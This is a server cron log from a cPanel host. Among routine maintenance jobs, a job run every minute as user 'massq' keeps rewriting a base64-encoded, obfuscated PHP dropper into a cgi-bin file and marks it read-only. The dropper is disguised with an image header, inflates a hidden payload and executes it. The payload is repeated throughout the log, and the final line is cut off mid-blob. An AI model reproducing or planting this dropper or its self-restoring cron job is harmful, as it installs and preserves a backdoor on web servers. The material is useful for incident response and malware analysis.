Sep 12 08:30:01 server CROND[28206]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:30:01 server CROND[28208]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 08:30:01 server CROND[28210]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:30:01 server CROND[28214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:30:01 server CROND[28215]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:30:01 server CROND[28211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:30:01 server CROND[28212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:30:01 server CROND[28216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:30:01 server CROND[28213]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:31:01 server CROND[29042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:31:01 server CROND[29043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:31:01 server CROND[29045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:32:01 server CROND[29506]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:32:01 server CROND[29507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:32:01 server CROND[29508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:33:01 server CROND[29874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:33:01 server CROND[29872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:33:01 server CROND[29873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:34:01 server CROND[30248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:34:01 server CROND[30249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:34:01 server CROND[30250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:35:01 server CROND[30641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:35:01 server CROND[30642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:35:01 server CROND[30645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:35:01 server CROND[30650]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:35:01 server CROND[30649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:35:01 server CROND[30655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:35:01 server CROND[30653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:35:01 server CROND[30652]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 08:35:01 server CROND[30651]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 08:36:01 server CROND[31472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:36:01 server CROND[31473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:36:01 server CROND[31474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:37:01 server CROND[31954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:37:01 server CROND[31955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:37:01 server CROND[31956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:38:01 server CROND[32330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:38:01 server CROND[32329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:38:01 server CROND[32331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:39:01 server CROND[32757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:39:01 server CROND[32758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:39:01 server CROND[32759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:39:01 server CROND[32760]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 08:40:01 server CROND[705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:40:01 server CROND[707]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:40:01 server CROND[710]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:40:01 server CROND[711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:40:01 server CROND[714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:40:01 server CROND[713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:40:01 server CROND[715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:40:01 server CROND[721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:41:01 server CROND[1655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0